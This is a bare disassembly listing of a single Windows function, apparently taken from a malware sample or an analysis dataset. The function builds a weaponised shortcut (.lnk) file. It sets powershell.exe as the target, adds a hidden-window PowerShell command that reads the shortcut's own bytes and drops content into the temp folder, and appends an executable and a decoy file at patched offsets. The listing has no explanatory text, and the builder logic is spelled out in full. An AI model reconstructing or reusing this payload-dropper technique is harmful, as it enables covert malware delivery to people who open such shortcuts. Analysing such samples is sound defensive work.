Function at 0x14001120d
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
jmp 0x140012f10
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x5cb8
call fcn.1400110e6
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x159e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x5cd8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x5c68], rax
lea rcx, [0x14002b0f2]
call fcn.140011474
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov dword [rbp + 0x414], 0
xor eax, eax
mov word [rbp + 0x434], ax
xor eax, eax
mov word [rbp + 0x874], ax
xor eax, eax
mov word [rbp + 0x48b4], ax
mov dword [rbp + 0x5534], 0
mov dword [rbp + 0x5554], 0
mov dword [rbp + 0x5574], 0
mov dword [rbp + 0x5594], 0
mov qword [rbp + 0x55b8], 0
mov dword [rbp + 0x5654], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x5c98]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14001303a
lea rcx, str.Failed_to_create_output_file_n
call fcn.140011221
mov eax, 1
jmp 0x1400139dc
mov r8d, 0x4c
xor edx, edx
lea rcx, [rbp + 0x70]
call fcn.14001138e
mov dword [rbp + 0x70], 0x4c
lea rdx, [rbp + 0x74]
lea rcx, str.00021401_0000_0000_C000_000000000046
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rbp + 0x84], 0x20002e4
mov dword [rbp + 0x88], 0
mov dword [rbp + 0x90], 0
mov dword [rbp + 0x8c], 0
mov dword [rbp + 0x98], 0
mov dword [rbp + 0x94], 0
mov dword [rbp + 0xa0], 0
mov dword [rbp + 0x9c], 0
mov dword [rbp + 0xa4], 0
mov dword [rbp + 0xa8], 0
mov dword [rbp + 0xac], 7
xor eax, eax
mov word [rbp + 0xb0], ax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x414]
mov r8d, 0x4c
lea rdx, [rbp + 0x70]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140013116
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
mov r8d, 0x400
xor edx, edx
lea rcx, [rbp + 0x460]
call fcn.14001138e
mov r8d, 0x1ff
mov rdx, qword [rbp + 0x5cb0]
lea rcx, [rbp + 0x460]
call qword [sym.imp.ucrtbased.dll_mbstowcs]
lea rcx, [rbp + 0x460]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov word [rbp + 0x434], ax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x414]
mov r8d, 2
lea rdx, [rbp + 0x434]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140013197
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
movzx eax, word [rbp + 0x434]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x414]
mov r8d, eax
lea rdx, [rbp + 0x460]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400131dd
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
mov r8d, 0x4000
xor edx, edx
lea rcx, [rbp + 0x8a0]
call fcn.14001138e
lea r9, [0x140020383]
lea r8, str._512S___windowstyle_hidden__lnkpath__Get_ChildItem_.lnk__where_object___.length__eq_0x00000000__Select_Object__ExpandProperty_Name__file___System.IO.File_::ReadAllBytes__lnkpath_____path____temp___
mov edx, 0x1fff
lea rcx, [rbp + 0x8a0]
call fcn.14001144c
lea rcx, [rbp + 0x8a0]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov word [rbp + 0x874], ax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x414]
mov r8d, 2
lea rdx, [rbp + 0x874]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140013263
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x5594], eax
movzx eax, word [rbp + 0x874]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x414]
mov r8d, eax
lea rdx, [rbp + 0x8a0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400132bb
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
mov r8d, 0x400
xor edx, edx
lea rcx, [rbp + 0x48e0]
call fcn.14001138e
mov r8d, 0x1ff
mov rdx, qword [rbp + 0x5ca8]
lea rcx, [rbp + 0x48e0]
call qword [sym.imp.ucrtbased.dll_mbstowcs]
lea rcx, [rbp + 0x48e0]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov word [rbp + 0x48b4], ax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x414]
mov r8d, 2
lea rdx, [rbp + 0x48b4]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14001333c
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
movzx eax, word [rbp + 0x48b4]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x414]
mov r8d, eax
lea rdx, [rbp + 0x48e0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140013382
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
mov r8d, 0x314
xor edx, edx
lea rcx, [rbp + 0xe0]
call fcn.14001138e
mov dword [rbp + 0xe0], 0x314
mov dword [rbp + 0xe4], 0xa0000001
mov r8d, 0x103
lea rdx, str._windir__system32WindowsPowerShell_v1.0powershell.exe
lea rcx, [rbp + 0xe8]
call qword [sym.imp.ucrtbased.dll_strncpy]
mov r8d, 0x103
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x1ec]
call qword [sym.imp.ucrtbased.dll_mbstowcs]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x414]
mov r8d, 0x314
lea rdx, [rbp + 0xe0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14001341d
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x5554], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rbp + 0x5c90]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
jne 0x14001348b
lea rcx, str.Failed_to_open_exe_file_n
call fcn.140011221
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x5534]
mov r8d, 0x400
lea rdx, [rbp + 0x4d00]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400134d4
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
cmp dword [rbp + 0x5534], 0
jne 0x1400134df
jmp 0x14001352e
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x414]
mov r8d, dword [rbp + 0x5534]
lea rdx, [rbp + 0x4d00]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140013529
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
jmp 0x14001348b
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x5574], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rbp + 0x5ca0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xffffffffffffffff
jne 0x1400135a6
lea rcx, str.Failed_to_open_dis_file_n
call fcn.140011221
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x5534]
mov r8d, 0x400
lea rdx, [rbp + 0x5120]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400135ef
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
cmp dword [rbp + 0x5534], 0
jne 0x1400135fa
jmp 0x140013649
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x414]
mov r8d, dword [rbp + 0x5534]
lea rdx, [rbp + 0x5120]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140013644
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
jmp 0x1400135a6
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x5654], eax
lea rdx, str._skipdisBytes__012345
lea rcx, [rbp + 0x8a0]
call fcn.1400110be
mov qword [rbp + 0x55b8], rax
cmp qword [rbp + 0x55b8], 0
jne 0x14001369d
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
lea rcx, str._skipdisBytes_
call fcn.1400111f4
mov rcx, qword [rbp + 0x55b8]
lea rax, [rcx + rax*2]
mov qword [rbp + 0x55b8], rax
lea rax, [rbp + 0x8a0]
mov rcx, qword [rbp + 0x55b8]
sub rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x5594]
add ecx, eax
mov eax, ecx
xor r9d, r9d
xor r8d, r8d
mov edx, eax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x140013704
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
mov r8d, 0x20
xor edx, edx
lea rcx, [rbp + 0x55d8]
call fcn.14001138e
mov r9d, dword [rbp + 0x5574]
lea r8, str._06u
mov edx, 0xf
lea rcx, [rbp + 0x55d8]
call fcn.14001144c
lea rcx, [rbp + 0x55d8]
call qword [sym.imp.ucrtbased.dll_wcslen]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x414]
mov r8d, eax
lea rdx, [rbp + 0x55d8]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140013783
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str._skipBytes__000000
lea rcx, [rbp + 0x8a0]
call fcn.1400110be
mov qword [rbp + 0x55b8], rax
cmp qword [rbp + 0x55b8], 0
jne 0x1400137c5
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
lea rcx, str._skipBytes_
call fcn.1400111f4
mov rcx, qword [rbp + 0x55b8]
lea rax, [rcx + rax*2]
mov qword [rbp + 0x55b8], rax
lea rax, [rbp + 0x8a0]
mov rcx, qword [rbp + 0x55b8]
sub rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x5594]
add ecx, eax
mov eax, ecx
xor r9d, r9d
xor r8d, r8d
mov edx, eax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x14001382c
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
mov r8d, 0x20
xor edx, edx
lea rcx, [rbp + 0x55d8]
call fcn.14001138e
mov r9d, dword [rbp + 0x5554]
lea r8, str._06u
mov edx, 0xf
lea rcx, [rbp + 0x55d8]
call fcn.14001144c
lea rcx, [rbp + 0x55d8]
call qword [sym.imp.ucrtbased.dll_wcslen]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x414]
mov r8d, eax
lea rdx, [rbp + 0x55d8]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400138ab
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str._.length__eq_0x00000000
lea rcx, [rbp + 0x8a0]
call fcn.1400110be
mov qword [rbp + 0x55b8], rax
cmp qword [rbp + 0x55b8], 0
jne 0x1400138ed
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
lea rcx, str._.length__eq
call fcn.1400111f4
mov rcx, qword [rbp + 0x55b8]
lea rax, [rcx + rax*2]
mov qword [rbp + 0x55b8], rax
lea rax, [rbp + 0x8a0]
mov rcx, qword [rbp + 0x55b8]
sub rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x5594]
add ecx, eax
mov eax, ecx
xor r9d, r9d
xor r8d, r8d
mov edx, eax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x140013954
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
mov r8d, 0x20
xor edx, edx
lea rcx, [rbp + 0x5618]
call fcn.14001138e
mov r9d, dword [rbp + 0x5654]
lea r8, str.0x_08X
mov edx, 0xf
lea rcx, [rbp + 0x5618]
call fcn.14001144c
lea rcx, [rbp + 0x5618]
call qword [sym.imp.ucrtbased.dll_wcslen]
shl rax, 1
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x414]
mov r8d, eax
lea rdx, [rbp + 0x5618]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400139d0
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400139dc
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140020200]
call fcn.1400113f2
mov rax, rdi
mov rcx, qword [rbp + 0x5c68]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0x5c78]
pop rdi
pop rbp
ret